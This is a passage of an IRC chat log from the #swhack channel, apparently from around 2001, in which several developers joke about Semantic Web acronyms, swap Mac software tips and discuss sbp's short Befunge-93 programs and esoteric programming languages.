did, it rocked! 00:38:06 <AaronSw> <Morbus> yeah !!! <g> 00:38:08 <AaronSw> <AaronSw> now i've been disconnected. :-( 00:38:10 <AaronSw> <Morbus> i was like that too. i tried the first version, tried hard, and gave up and said it swucked 00:38:12 <AaronSw> <Morbus> second version came out, i perservered and now i love the damn thing 00:38:14 <AaronSw> <Morbus> whatever you do, don't drag and drop over it in os x ;) 00:38:16 <AaronSw> <AaronSw> Oh? 00:38:18 <AaronSw> <Morbus> immediate crash 00:38:20 <AaronSw> <Morbus> so don't place it anywhere near the dock. it must have taken me about three dozen crashes 'fore i got smart. 00:38:22 <AaronSw> <AaronSw> heh 00:38:24 <AaronSw> <AaronSw> gotta run... dinner 00:38:26 <AaronSw> <dc_rdfig> Notice: A: http://www.digitalcity.jst.go.jp/meeting/ from jhendler 00:38:28 <AaronSw> <dc_rdfig> Notice: titled item A 00:38:30 <AaronSw> <dc_rdfig> Notice: commented item A 00:38:32 <AaronSw> <AaronSw> back 00:38:34 <AaronSw> <Morbus> what'd ya have? 00:38:36 <AaronSw> <AaronSw> pizza 00:38:38 <AaronSw> <AaronSw> Hmm, MacSatellite should have a "keep trying to conenct" feature... 00:38:40 <AaronSw> <AaronSw> Is there a newer version out? 00:38:42 <AaronSw> <AaronSw> yay, server's back 00:50:59 <Morbus> welp, there is a newer version with that feautre, i think. according to the version tracker. 00:51:06 <Morbus> i think it just came out recently. 1.2 00:51:27 <Morbus> hey, i heard somewhere that any shell/bsd script you have in os x, you can add a .command to it and have it runnable via a doubleclick 00:51:33 <Morbus> i'm gonna try it on ampheta a little later tonight 00:52:32 <AaronSw> cool 00:52:41 <Morbus> if the vt isn't offering the macsatellite 1.2 (it wasn't this morning), lemme know and i'll email it to yo 00:52:50 <AaronSw> I think I have 1.2... i remember seeing something about this feature in release notes 00:55:11 <Morbus> yeah. you probably do then. i think it does timeout eventually. i'm impatient though 00:55:54 <AaronSw> it timesout really quickly, tho... 01:01:25 <Morbus> whoo. now i get to code perl 01:05:33 <AaronSw> tav told me that perl was below me even talking about, so i won't. ;-) 01:05:48 <Morbus> man oh man. i don't even know why i come here <g> 01:09:45 <AaronSw> I don't think it's a very good tactic, but that's what he said they taught him in pyAdvocacy 01:10:10 <Morbus> bwahahah. i'm all for a little bit of advocacy, but i'd rather judge the result. 01:12:22 <AaronSw> hmz, can you mail me macsatellite 1.2? 01:12:27 <Morbus> yuppers 01:12:30 <Morbus> whataddy? 01:12:49 <AaronSw> me@aaronsw.com 01:19:10 <Morbus> on its way 01:19:20 <AaronSw> thanks 01:20:04 <AaronSw> are photos written width x height 01:20:38 <Morbus> i dunno. i always screw that too. think screen res. 01:20:39 <AaronSw> or the other way around? 01:20:47 <Morbus> yeah, wxh. 640x480 01:21:16 <AaronSw> ok, thanks 01:26:09 <AaronSw> Hmmz, stuffit says your file is bad 01:29:00 <AaronSw> Great, and now it's gone and deleted it... 01:29:34 <Morbus> oh joy. 01:29:50 <Morbus> lemme throw it publically here and you can grab it off apache 01:29:55 <AaronSw> ok, thanks 01:30:39 <Morbus> try 63.173.138.120 01:31:37 <AaronSw> cool 01:32:27 <Morbus> yeah, that's me. 01:32:31 <Morbus> now stop pokng around <g> 01:32:39 <AaronSw> you and you're nosy apache logs! 01:33:02 <Morbus> heheh, tail -f. i track j0000! <g> 01:35:02 <AaronSw> hmz, download seems to have stalled 01:35:33 <AaronSw> wham, and Morbus falls off the face of the Earth... right in the middle of my download :-( 01:36:03 <Morbus> Morbus has quit 01:42:45 <sbp> sbp has joined #swhack 01:49:59 <AaronSw> Hi sbp 01:49:59 <sbp> Hi Aaron 01:49:59 <AaronSw> aww, shoot 01:49:59 <AaronSw> loggy's dead again 01:49:59 <sbp> aw... 01:49:59 <AaronSw> the net connection in ny keeps going up and down tonight 01:49:59 <AaronSw> logster, hello? 01:49:59 <irc.openprojects.net> Disconnected from irc.openprojects.net (ERROR :Closing Link: logster[xcdfddb76.ip.ggn.net] by forward.openprojects.net (Ping timeout for logster[xcdfddb76.ip.ggn.net])) 01:50:05 <logster> logster has joined #swhack 01:50:05 <sagan.openprojects.net> topic is: Join #swhack. Sean chats there. 01:50:05 <sagan.openprojects.net> Users on #swhack: logster sbp tav deltab AaronSw 01:50:56 <AaronSw> replay for logster: 01:50:58 <AaronSw> <sbp> did you fix n3tordf? 01:50:59 <AaronSw> <sbp> neat, mentions the n3tordf form, and the Wiki (I presume RDFWiki): http://www.cs.umd.edu/~hendler/CMSC498x/asst1.html 01:50:59 <AaronSw> <sbp> :-) 01:50:59 <AaronSw> <AaronSw> it wasn't broken! 01:50:59 <AaronSw> <AaronSw> no, not rdfwiki 01:51:00 <AaronSw> <sbp> really? 01:51:02 <AaronSw> <AaronSw> jhendler set up a class wiki 01:51:04 <AaronSw> <sbp> Yeah, RDFWiki? 01:51:06 <AaronSw> <AaronSw> i told him about rdfwiki but couldn't find a pointer 01:51:08 <AaronSw> <AaronSw> he said he didn't want to teach the class in triples 01:51:10 <AaronSw> <sbp> Heh 01:54:27 <AaronSw> grr! why is imagemagick broken 01:54:51 <sbp> Shame that I missed JimH's class 01:54:51 <sbp> I wonder if they'll do RDF/SW on my course? Man, that'll be funny 01:54:59 <AaronSw> Heh! 01:55:09 <AaronSw> There's prolog in my math textbook -- that was funny. 01:55:20 <sbp> He he he 01:56:37 <sbp> Hmm... if we could get a class going, maybe we could entice some people to come and talk here 01:57:03 <AaronSw> Like who? 02:10:09 <AaronSw> We've already got all the good lecturers, here 02:10:47 <sbp> The usual W3C people 02:10:58 <sbp> Maybe I could get Eric to give a keynote :-) 02:11:08 <AaronSw> Who would attend this class? 02:11:16 <sbp> Well, anyone doing AI 02:11:22 <sbp> Like, for example, me 02:11:48 <sbp> except I probably wouldn't be able to get there. Oh, the irony! I'd crawl 02:12:46 <sbp> * sbp notes that people are going to be running out of titles for SW papers soon 02:12:51 <AaronSw> Heh heh. 02:12:57 <sbp> Ooh, how about, "SW: WTF?" 02:14:38 <AaronSw> "SW4U" 02:14:47 <AaronSw> "SW+U" 02:14:58 <sbp> Doesn't have as many swears... 02:15:45 <sbp> How about a guide to producing SW systems on WinMe and Unix? 02:15:52 <sbp> "Me, U, and the SW" 02:16:59 <AaronSw> "DAML+OIL: Not yet mined by Bush" 02:17:39 <sbp> "SWuckit" 02:18:07 <AaronSw> "How to SWear" 02:18:41 <AaronSw> I'm thinking SWAG should release a promotional video... 02:18:44 <sbp> "RDF? SWanky" 02:18:54 <AaronSw> "The Spy who SWAGged Me"? 02:19:05 <sbp> lol 02:21:06 <sbp> "I'm dirty right to the RDF Core, baby" 02:22:40 <AaronSw> lol 02:24:25 <AaronSw> You know, when they rename RDF IG the SWIG, the headlines will be: 02:24:35 <AaronSw> "W3C Puts SWIG to Community's SWAG" 02:25:01 <sbp> * sbp wondered when that one would be spouted... 02:25:38 <sbp> We have RDF, SWIG, SWAG, SWIPT, SWEO, DAML... 02:25:48 <deltab> SWAD 02:25:53 <AaronSw> Brownie points if you can put them all in a sentence 02:26:36 <sbp> There are many acronyms that pertain to Semantic Web related things, including RDF, SWIG, SWAG, SWIPT, SWEO, DAML, and SAWD 02:26:40 <sbp> There are many acronyms that pertain to Semantic Web related things, including RDF, SWIG, SWAG, SWIPT, SWEO, DAML, and SWAD 02:26:56 <sbp> * sbp collects his brownie points 02:27:14 <AaronSw> Oh, come on -- a funny sentence! 02:27:48 <sbp> well, that's assez funny 02:28:24 <AaronSw> assez? 02:28:37 <sbp> Don't worry about it... 02:28:38 <AaronSw> Like, that's as unfunny as an arse? 02:29:03 <sbp> I'll have you know, many of the arses that I've seen are very... oops, I've said too much 02:43:31 <AaronSw> Ego gratification: 02:43:35 <AaronSw> <jhendler> gee, a lot of stuff in your papers by this Berners-Lee guy, he must be a pretty smart cookie :-> 02:43:40 <AaronSw> <jhendler> btw, this semanticweb-long piece is the best description of the "layer cake" I've seen yet - has Tim seen it? 02:43:49 <AaronSw> <jhendler> this SW long paper is really good! I think I'll only steal a little so you can publish it somewhere better later - needs a little editing, and to remove a few of the "I"s to make it more general, but heck of a nice writing job - needs to be seen 02:44:11 <AaronSw> And funny: 02:44:28 <AaronSw> <jhendler> favorite example [from the Sci-Am piece]: Get me the phone number of everyone who ordered more than 1,000 widgets and was arrested in the last 6 months." 02:44:34 <AaronSw> And back to ego: 02:45:17 <AaronSw> <jhendler> actually, I've written quite a lot - and w/a lot of people - the ability to make complex ideas simple is very hard -- you've definitely got the knack. you can quote me on that! 03:02:38 <Morbus> Morbus has joined #swhack 03:02:44 <AaronSw> welcome back! 03:02:54 <Morbus> sigh. i'm just not having a good day 03:03:00 <Morbus> heh. thanks ;) 03:03:19 <AaronSw> * AaronSw picks up his download again 03:03:34 <Morbus> diff ip. you should be able to use the name too 03:03:45 <AaronSw> yeah, i already started 03:03:50 <AaronSw> thank goodness for 206! 03:04:18 <Morbus> k. i think, actually, that you caused my crash earlier <g>... i've noticed some crazy stuff when doing more uploading then downloading on usb modems. 03:04:20 <Morbus> 206? 03:04:30 <AaronSw> Sure, blame it on me. 03:04:31 <AaronSw> 206 Partial Content 03:04:38 <AaronSw> lets me pick up my download where i left off 03:04:44 <Morbus> ah 03:05:00 <AaronSw> Go Apache! 03:05:07 <Morbus> :) 03:06:10 <AaronSw> Ooh, new icon! 03:06:36 <Morbus> yah :) 03:06:51 <AaronSw> thanks, this is much nicer 03:07:06 <Morbus> np. for some reason, its not available on versiontracker any more 03:07:07 <Morbus> Morbus has left #swhack 03:07:39 <Morbus> Morbus has joined #swhack 03:07:44 <Morbus> bwahaha. man, i suck so hardcore 03:07:56 <Morbus> i wanna put on a corky hat 03:08:04 <AaronSw> not avail: Yeah, the guy's site went down 03:08:17 <Morbus> well, hell, i should mirror it on disobey then 03:09:16 <AaronSw> yeah! 03:19:08 <sbp> scary: http://www.catseye.mb.ca/esoteric/mdpn/index.html 03:19:57 <AaronSw> oh, geez 03:20:50 <sbp> Befunge is weird... it's so easy to learn, but it looks *really* scary 03:20:57 <AaronSw> yeah, no kidding 03:21:03 <sbp> And it's quite fun to program; there are some really weird challenges 03:21:29 <Morbus> Morbus has quit 03:21:48 <AaronSw> there goes morbus, again 03:30:32 <sbp> * sbp feels like creating a language 03:30:48 <sbp> * sbp gives in immediately, too difficult 03:34:10 <sbp> Wow! This is how I was going to comment my "tag:" befunge program: http://kotisivu.mtv3.fi/oma/quux/qsort.html 03:34:43 <AaronSw> * AaronSw fights with Oracle and Tcl... 03:34:58 <sbp> heh, some struggle 03:35:11 <AaronSw> it's been taking me a long time, but I think I've got it now... 03:35:27 <AaronSw> That commenting is really cool. 03:35:58 <sbp> Good, isn't it? But now I'll never be able to prove that I thought of the same thing independantly 03:36:07 <sbp> Still, who cares? I'm going to do it anyway 03:36:14 <AaronSw> Heh 03:36:17 <sbp> If I can remember how my code works, which is less than likely 03:36:19 <sbp> "//:ptth"v > v >$$$v 03:36:20 <sbp> >,# :# _$>0~0\>:25*-#v_^>\8 p1+:v 03:36:20 <sbp> @ > v^ < 03:36:20 <sbp> ^_v#--1*5 9:g8:+1$< > ^ >3":"v 03:36:20 <sbp> > v > :,^ < 03:36:20 <sbp> $v < < < 03:36:22 <sbp> $>$"/"> , 1 + :8g:59*-#v_^ 03:36:24 <sbp> ^_^#-*2*82: <_^# -+2*87:< 03:36:44 <sbp> I abbreviated it quite a lot... here's an earlier version:- 03:36:55 <sbp> v >:25*-#v_>$$$v 03:36:55 <sbp> > v0 03:36:55 <sbp> >"//:ptth">,# :# _$>0~0\:25*-#v_@> \9p1+:v 03:36:55 <sbp> @ > v^ < 03:36:55 <sbp> ^_v#--1*5 9:g9:+1$<> ^> >:9g:78*2+-#v_v 03:36:56 <sbp> > v > :,^ <^ +1$< 03:36:58 <sbp> $v < < < ^ < 03:37:00 <sbp> $>$"/"> , 1 + :9g:59*-#v_^ 03:37:02 <sbp> ^_^#-*2*82: <_^# -+2*87:< 03:38:00 <sbp> I noticed how I was reusing the same :25*-#v bit of code, and thought I'd just put a pointer in before it 03:38:45 <AaronSw> hmm 03:38:49 <AaronSw> shoot, i keep screwing up! 03:39:26 <sbp> Gotta run 03:39:37 <AaronSw> c'ya 03:42:28 <sbp> sbp has quit 07:09:08 <deltab> deltab has quit 07:09:08 <tav> tav has quit 07:09:08 <AaronSw> AaronSw has quit 07:09:14 <irc.openprojects.net> Disconnected from irc.openprojects.net (Connection reset by peer) 07:09:24 <logster> logster has joined #swhack 07:09:24 <forward.openprojects.net> topic is: Join #swhack. Sean chats there. 07:09:24 <forward.openprojects.net> Users on #swhack: logster tav AaronSw deltab 07:37:31 <IceSlice> IceSlice has joined #swhack 07:37:37 <IceSlice> IceSlice has left #swhack 08:17:38 <irc.openprojects.net> Disconnected from irc.openprojects.net (ERROR :Closing Link: logster[xcdfddb76.ip.ggn.net] by forward.openprojects.net (Ping timeout for logster[xcdfddb76.ip.ggn.net])) 08:17:56 <logster> logster has joined #swhack 08:17:56 <niven.openprojects.net> Users on #swhack: logster AaronSw deltab tav 12:52:06 <AaronSw> AaronSw has quit 13:55:43 <AaronSw> AaronSw has joined #swhack 14:13:31 <AaronSw> AaronSw has quit 14:18:40 <AaronSw> AaronSw has joined #swhack 14:50:30 <AaronSw> AaronSw has quit 17:55:20 <AaronSw> AaronSw has joined #swhack 18:14:52 <AaronSw> Heh: http://wmf.editthispage.com/discuss/msgReader$5694 18:50:08 <irc.openprojects.net> Disconnected from irc.openprojects.net (ERROR :Closing Link: logster[xcdfddb76.ip.ggn.net] by niven.openprojects.net (Ping timeout for logster[xcdfddb76.ip.ggn.net])) 18:50:11 <logster> logster has joined #swhack 18:50:11 <sagan.openprojects.net> Users on #swhack: logster AaronSw deltab tav 20:08:59 <Morbus> Morbus has joined #swhack 20:14:22 <AaronSw> ugh, where did graphic converter save this file? 20:14:40 <AaronSw> And why does it think i've been using it for 103 days? 20:14:41 <AaronSw> i just downloaded it! 20:14:42 <Morbus> heh. bad graphic converter! 20:14:52 <Morbus> cos you probably didn't delete your prefs. 20:15:27 <AaronSw> i love how the "please pay up" delay increases exponentially :-( 20:16:06 <Morbus> i got a serial around here somewhere. 20:16:39 <AaronSw> it's good to know that someone pays for there software 20:17:09 <Morbus> i've been using it for years. wonderful little program. 20:17:28 <AaronSw> yeah, me too 20:22:21 <Morbus> somedays i do wish i hadn't made ampheta open source so that i could have teh chance to charge for it. 20:22:32 <Morbus> i had a big discussion about this on the free software business list a bit ago. 20:22:41 <Morbus> but then, after breaking it all done, again, i'm happy with the open source choice. 20:23:52 <AaronSw> "breaking it all done"? 20:24:00 <Morbus> s/done/down/ 20:24:23 <AaronSw> oh 20:24:31 <Morbus> tyring to find the archive now 20:25:35 <AaronSw> oh, your foo.command trick worked 20:25:44 <AaronSw> I just tested it out a little while ago -- very neat 20:25:46 <Morbus> it did? kickass. what'd you try it on. 20:26:00 <Morbus> that's really cool. i can now make an easy installer for os x with that then. 20:26:04 <Morbus> or you could <g>. 20:26:07 <AaronSw> i just wrote a short shell script: "echo foo" 20:26:31 <AaronSw> Opens up a new terminal window, tho 20:26:53 <Morbus> well, that's ok. if people are gonna run it as a shell on os x anyways, i'd want that since its the only visual que. 20:27:01 <Morbus> i have a classic os gui just like win32 in the cvs. 20:27:11 <Morbus> little buggy, but i should be working the final stuff out. 20:27:21 <AaronSw> What's the GUI look like? 20:27:28 <Morbus> doesn't scale well though - i'm really pushing the limits of the macperl gui stuff. so i've added a no_gui config line 20:27:33 <Morbus> disobey.com/amphetadesk/screenshots.htm 20:27:49 <Morbus> it's really just that small little box. just a gui element around the normal STDOUT stuff. 20:27:59 <Morbus> and all configurable of course - you can replace the image with what you wish. 20:28:24 <AaronSw> Ahh, neat. 20:28:54 <AaronSw> I like how you switch between Win32 and MacOS 20:29:12 <Morbus> here's that thread: http://www.crynwr.com/cgi-bin/ezmlm-cgi?sss:6076:200107:jecdnpdnmnlacjdakbib#b 20:29:25 <Morbus> hmm? switch? whatcha mean? in the code? 20:29:40 <AaronSw> err, in the screenshots 20:29:49 <Morbus> oh. ok :) 20:31:07 <AaronSw> Wow, you got a response from Michael Tiemann. Neat. 20:31:27 <Morbus> :) 20:32:29 <AaronSw> Maybe you can go like Ximian and create open-source nagware. ;-) 20:33:09 <Morbus> hehehe... i could add banners into the html source code <g>... so few pepopel customize it 20:33:21 <AaronSw> Exactly, smart people get it for free! 20:35:08 <Morbus> hehe. there ya go <g> 20:42:47 <Morbus> Morbus has left #swhack 22:00:35 <sbp> sbp has joined #swhack 22:00:58 <AaronSw> hello there 22:01:04 <sbp> Hi Aaron 22:01:21 <sbp> [ foaf:name "Sean B. Palmer"; :wrote "0v_^#-3:+1,,\"> \"< -\n >\"<\" >,~:25#$*^\n >\".\",@^ _^#<" ] . 22:01:36 <AaronSw> Oh, shoot. 22:01:42 <sbp> I wonder if that's the shortest possible RDF/SW program 22:01:45 <AaronSw> What does this one do? 22:01:55 <sbp> * sbp pastes it in in non-N3 form 22:01:55 <sbp> 0v_^#-3:+1,,"> "< - 22:01:56 <sbp> >"<" >,~:25#$*^ 22:01:56 <sbp> >".",@^ _^#< 22:02:14 <sbp> this one simply takes in three URIs from input, and outputs an N3 triple 22:02:26 <sbp> not the most stunning program ever... 22:02:38 <sbp> but it 22:02:46 <sbp> 's short enough to put in a signature 22:02:57 <AaronSw> Heh! 22:03:15 <sbp> took ages to compress it that small 22:03:15 <AaronSw> * AaronSw wonders if he should learn befunge-93 just to go around scaring people. 22:03:37 <AaronSw> Imagine cwm in befunge-93! 22:03:54 <sbp> yeah, you can jump out at people, and instead of saying "boo!", just ask them if they're programmers, and if so, shove a b93 program at them, and run off laughing 22:04:06 <sbp> CWM in b93: it would probably make more sense 22:04:13 <AaronSw> * AaronSw files that in his Halloween decorations list 22:04:20 <sbp> :-) 22:04:55 <AaronSw> Interesting: 22:05:01 <AaronSw> """I won't be working on this much, as my time is currently consumed by my active 22:05:01 <AaronSw> participation in the "Bay Area Gotterdammerung, Job Search, and Chili-Cookoff"""" 22:05:08 <AaronSw> Poor excuse. ;-) 22:05:17 <sbp> where from? what context? 22:05:35 <AaronSw> - http://www.opennsd.org/bboard/q-and-a-fetch-msg.tcl?msg_id=00001I&topic_id=1&topic=OpenNSD 22:05:55 <AaronSw> Heh: 22:05:59 <AaronSw> """1/ put pictures in the right directory 22:06:00 <AaronSw> 2/ add metadata using java -jar rdfpic.jar <directory>/* 22:06:00 <AaronSw> 3/ generate thumbnails (in png) and index file[s] using a single script, 22:06:00 <AaronSw> genepage 22:06:00 <AaronSw> And if I'm lazy I just skip 2, but it is bad.""" 22:06:08 <AaronSw> mid:Pine.GSO.4.33.0109150000080.28441-100000@tarantula.inria.fr 22:06:10 <sbp> Hmm... 22:06:48 <AaronSw> Guess this came too late for DanC: 22:06:54 <AaronSw> """CALL 1-877-322-9438 TO CHECK STATUS OF 22:06:54 <AaronSw> ALL MAJOR U.S. AIRPORTS, AIRPORT SECURITY POLICIES AND 22:06:54 <AaronSw> FAA TRAVEL BRIEFINGS""" 22:07:01 <sbp> * sbp thinks he might have found a way to compress it even more 22:07:26 <sbp> * sbp was mistaken 22:08:47 <sbp> it's actually quite a sophisticated little deeley, for what it does, because the b93 input method is (as you would expect) really strange. It doesn't take in a string and put it in a variable 22:08:51 <sbp> that would be too easy! 22:09:12 <AaronSw> I had trouble believing it could take input 22:09:23 <sbp> You come up to the input character, and you have to keep putting the pointer over that character to get each character... aaargh! 22:09:41 <AaronSw> heheh 22:09:42 <sbp> Here, I'll try to find an interpreter for you... 22:10:13 <AaronSw> And you thought Python's whitespace requirements were bad! 22:10:23 <sbp> yeah... 22:10:52 <sbp> there doesn't seem to be an interpreter for the Mac: http://www.catseye.mb.ca/esoteric/befunge/93/index.html 22:11:03 <sbp> I use VisBef 22:11:18 <sbp> brb 22:11:32 <AaronSw> one for linux should work too 22:12:19 <AaronSw> Ahh, here's one in perl...hmz 404 22:12:52 <AaronSw> And the ANSI C one should work... eh? 500 22:13:10 <sbp> they all seem to have gone down, or whatever 22:13:55 <sbp> I might write an interpreter in Python... 22:13:55 <AaronSw> Aha! It 22:14:01 <AaronSw> It's b93 terrorism! 22:14:25 <AaronSw> You couldn't possibly write an interpreter in Python -- your brain would explode. 22:14:39 <sbp> lol 22:14:40 <AaronSw> You'll have to study the great Python obfuscation techniques first 22:14:45 <sbp> No really, it's quite a simple language 22:15:16 <sbp> It just *looks* really tough. And even when you've programmed some code, after you go back to it, you wonder what on earth you've done 22:15:56 <AaronSw> heh! 22:16:19 <sbp> remember the guy who did the color coded thing? He said he didn't have a clue what many of the bits were for 22:16:27 <sbp> and he wrote the program 22:16:32 <AaronSw> sheesh 22:17:09 <sbp> you can kind of make sense of my three-line thing 22:17:13 <sbp> 0v_^#-3:+1,,"> "< - 22:17:13 <sbp> >"<" >,~:25#$*^ 22:17:13 <sbp> >".",@^ _^#< 22:17:33 <sbp> the "> " "<" and "." are clearly bits that get output 22:17:42 <sbp> ~ is the keyboard input character 22:17:50 <sbp> @ ends the program 22:18:09 <sbp> , pops a value from the stack and returns it as an alphabetical character 22:18:22 <sbp> _ is an "if" thingy 22:18:34 <sbp> >v<^ control the direction of the pointer 22:18:55 <sbp> numeric values just go in the stack... note that you can only put single digit numbers in the stack 22:19:14 <sbp> if you want to put 10 in, you have to do 25* 22:19:37 <sbp> i.e., put 2 in the stack, then put 5 in the stack. * multiplies the two top numbers in the stack, and replaces them with the result 22:20:10 <sbp> whitespace is just skipped 22:20:10 <AaronSw> ahh 22:20:38 <sbp> "#" forms a bridge over the next character, so in #,1 the comma is ignored, when going from L to R 22:21:01 <sbp> : duplicates the top value in the stack 22:21:22 <sbp> Hmm... and that's about all you need to know for that program 22:21:41 <deltab> and $ pops 22:21:48 <sbp> yep 22:21:53 <AaronSw> deltab, you a b93 coder? 22:22:06 <sbp> he's the guy who got me into this! 22:22:16 <deltab> yeah 22:22:23 <deltab> I am? 22:22:25 <AaronSw> Oh? 22:22:28 <AaronSw> How so? 22:22:34 <sbp> I was searching for info on DB when we were looking for the mysterious "DB homepage", and I came across this 22:22:40 <deltab> heh 22:23:02 <AaronSw> url for the DB homepage? 22:23:10 <sbp> there isn't one 22:23:22 <AaronSw> oh, i see 22:23:28 <sbp> I was searching for it, and found b93 instead :-) 22:23:48 <AaronSw> Ahh, I see: http://www.purists.org/esoteric/ 22:23:57 <sbp> yep 22:23:58 <deltab> you could say my homepage is hosted by google 22:24:04 <sbp> lol 22:24:19 <AaronSw> heh 22:24:31 <AaronSw> cool, it's a DB-contributed DB. 22:24:35 <deltab> but I'm not so egocentric as to make a page of links just to things about me :-) 22:24:56 <sbp> db: what's the best esoteric language in your opinion? Are there any other better languages I could be trying? Any more compact and weird than b93? 22:24:56 <AaronSw> I see it as every person's responsibility to catalog data about themselves. 22:25:06 <AaronSw> If everyone does that, then we've got a lot of data catalogged. 22:25:20 <deltab> certainly weirder ones 22:25:37 <sbp> but b93 works! I was so shocked when it did 22:25:58 <deltab> befunge is fun 22:26:11 <deltab> heh - "putting the fun in befunge" 22:26:17 <sbp> lol 22:26:45 <deltab> without the fun it'd be just... bege 22:31:36 <deltab> there's one language based on colour and shade changes in a bitmap - looks somewhat like that befunge qsort program without the symbols 22:32:00 <sbp> Heh, you could have a program that draws a picture of itself 22:32:05 <deltab> http://www.purists.org/esoteric/i11152.html 22:33:36 <sbp> oh, wow! 22:34:59 <sbp> Hmm... can't find any compilers for it though 22:37:56 <AaronSw> Programmed assembly, Sean? 22:39:07 <sbp> Heh: 22:39:07 <sbp> [[[ 22:39:09 <sbp> ESOGOTSCHI has an infinite number of ways of representing the number 3, making ESOGOTSCHI very useful for people that like to spend some time writing the number 3 in infinite ways. 22:39:15 <sbp> ]]] - http://www.p-nand-q.com/scripts/gosub.py?page=http://www.p-nand-q.com/esogotschi.htm 22:39:29 <sbp> Programmed what? I meant interpreters 22:40:48 <sbp> Ugh: http://www.p-nand-q.com/sorted/hello.txt 22:41:45 <sbp> [[[ 22:41:46 <sbp> Java2K is not a deterministic programming language, but a probabilistic one. Even for built-in functions, there is only a certain probability the function will do whatever you intend it to do. 22:41:51 <sbp> ]]] - http://www.p-nand-q.com/scripts/gosub.py?page=http://www.p-nand-q.com/java2k.htm 22:41:59 <sbp> No different to any other programming language :-) 22:42:44 <AaronSw> Yeah, I liked Java2K 22:43:08 <sbp> I think it's a bit cruddy. Too much repetition 22:43:24 <AaronSw> Well, I'm just commenting on the idea 22:43:25 <sbp> if it looks like a TM... 22:43:31 <AaronSw> Assembly language, have you programmed it? 22:43:36 <sbp> Ah, the idea is cool :-) 22:43:41 <sbp> Assembly language? 22:44:02 <AaronSw> oh, dear 22:44:36 <AaronSw> Assembly language is like machine language -- very low-level 22:44:50 <AaronSw> You just tell the CPU what to do. 22:45:02 <sbp> I know. I remember back to my old C64 days... 22:45:13 <sbp> I haven't done anything at that level since then 22:45:36 <AaronSw> Maybe you could optimize cwm in assembly? ;-) 22:45:41 <sbp> especially not on Win32 22:52:00 <sbp> * sbp feels like writing a Befunge interpreter in Python... how hard could it be? 22:52:10 <deltab> sbp: it's easy 22:52:35 <deltab> I did one a couple of years ago, but lost it in a disk problem 22:52:39 <sbp> Aw... 22:52:55 <sbp> I guess I'll need to create an array for the torus deeley 22:53:32 <deltab> I'm most proud of how I implemented the proposed stack roll command in one instruction, designed only for positive roll values 22:53:53 <deltab> out of interest I tried it with zero and negative roll too 22:53:57 <deltab> and it worked! 22:54:32 <sbp> oh that's a good point, it has that weirdism where empty stacks always return 0... 22:55:05 <deltab> also, it supported Nefunge 22:55:39 <sbp> you must have been bummed when you lost it 22:55:43 <deltab> yeah 22:55:44 <sbp> like TimBL losing ENQUIRE 22:56:12 <deltab> especially as I'd planned to release it before the end of the year 22:56:23 <AaronSw> Public Service Announcement: Please back up, often. 22:56:33 <AaronSw> Hmm, I met Daniel Biddle in another life: http://www.freeamp.org/pipermail/mm/2001-March/000023.html 22:56:36 <sbp> VisBef is really good though 22:56:47 <AaronSw> Now I know his job! system administrator, espra.net 22:56:50 <AaronSw> mwahaha 22:56:55 <AaronSw> :-) 22:57:10 <sbp> * sbp still doesn't know who db is 22:57:27 <deltab> AaronSw: uh yes, I created your user account :-) 22:57:38 <sbp> well, except that he's the system asministrator for espra.net, and likes esoteric programming 22:57:45 <AaronSw> ohh, good point, deltab ;-) 22:58:10 <sbp> and that he's nuts enough to hang about on #swhack, and that he knows tav, which is another person that I now very little about 22:58:23 <sbp> s/now/know 22:58:34 <AaronSw> He's an espian. If we tell you anything more, we'll have to kill you. 22:58:39 <sbp> lol 22:58:59 <AaronSw> Seriously, they're big into weapons and beating people up. 22:59:10 <deltab> uh? 22:59:11 <sbp> yeah, so I heard 22:59:35 <sbp> * sbp enjoys AaronSw's disinformation... no, really 22:59:41 <AaronSw> And you thought the W3C Confidentiality agreement was harsh! 23:00:01 <AaronSw> This isn't disinformation... They have a .... 23:00:11 <AaronSw> Sorry, please ignore the above lines. 23:00:22 <AaronSw> They were a malfunction by my computer. 23:00:34 <AaronSw> Now back to your regularly scheduled channel. 23:00:43 <deltab> don't believe everything you read 23:01:03 <AaronSw> :-) 23:01:45 <sbp> sbp has quit 23:01:47 <AaronSw> * AaronSw finds ESP quite fun, reminds me of my childhood 23:01:52 <SeanP> SeanP has joined #swhack 23:02:04 <SeanP> SeanP has quit 23:02:14 <sbp> sbp has joined #swhack 23:02:18 <AaronSw> Pfft, make up your mind Sean. 23:02:27 <AaronSw> * AaronSw goes to delete what Sean missed from the logs... 23:02:32 <sbp> Pfffff 23:02:43 <AaronSw> j/k 23:03:15 <AaronSw> ESP has the best mission statement I've ever seen. 23:06:23 <sbp> do they squiggle? 23:06:31 <AaronSw> Err, who? 23:06:42 <AaronSw> So, Mr. Sysadmin, why don't the mail archives work, eh? 23:06:54 <sbp> if you've ever had a goat piss up your leg, you'd know who and why 23:06:57 <deltab> archives of what? 23:07:02 <sbp> pardon? 23:07:15 <AaronSw> huh? 23:07:23 <AaronSw> archives of espian secret lists 23:07:40 <deltab> they do work 23:07:45 <deltab> that's just a camouflage 23:07:49 <sbp> there was no Monty Python on tonight. I was quite dissapp... disapppoin... dissa... upset 23:10:28 <AaronSw> So what's the location of the real mail archives? 23:14:15 <sbp> Woo! http://www.google.com/search?q=URI+RDF+SW 23:14:37 <sbp> brings up http://infomesh.net/2001/05/sw/, http://swag.semanticweb.org/rdfnsPractises, http://swag.semanticweb.org/whatIsSW 23:16:00 <AaronSw> cool 23:16:07 <AaronSw> we've got it covered, eh? 23:16:41 <sbp> absolutely :-) 23:20:26 <sbp>  23:20:28 <sbp> { { :message :signed :K . :t :derivable :message; :subject :x; :predicate :r; :object :y } log:implies { :x :r :y } } a log:Truth; log:forAll :message, :t, :r, :x, :y . 23:21:53 <sbp> that makes very little sense 23:22:10 <sbp> from TimBL, found in http://www.diffuse.org/semantic-web.html 23:22:48 <AaronSw> why do you say that? 23:22:57 <sbp> he's left out some stuff 23:23:29 <sbp> actually, no... it's just that the ":message :signed :K" bit would have to be derived from other means 23:24:51 <sbp> could you do a quick pre-review of this for me: http://infomesh.net/2001/09/urischemes/ 23:25:19 <AaronSw> sure, just let me pop the stack once 23:25:35 <sbp> fine 23:25:52 <sbp> * sbp wonders what on Earth AaronSw is talking about... 23:27:08 <AaronSw> I keep a stack of things I need to do. 23:27:13 <AaronSw> I was request a chance to do one of them 23:27:39 <AaronSw> Love the title! 23:28:02 <sbp> a stack, in what way? Physical? 23:28:05 <sbp> thanks 23:28:13 <AaronSw> no, conceptual 23:28:16 <AaronSw> in my head 23:28:24 <sbp> ah 23:28:26 <AaronSw> like [].pop() 23:28:41 <sbp> I had a feeling it might be modelled on that 23:28:56 <AaronSw> well, 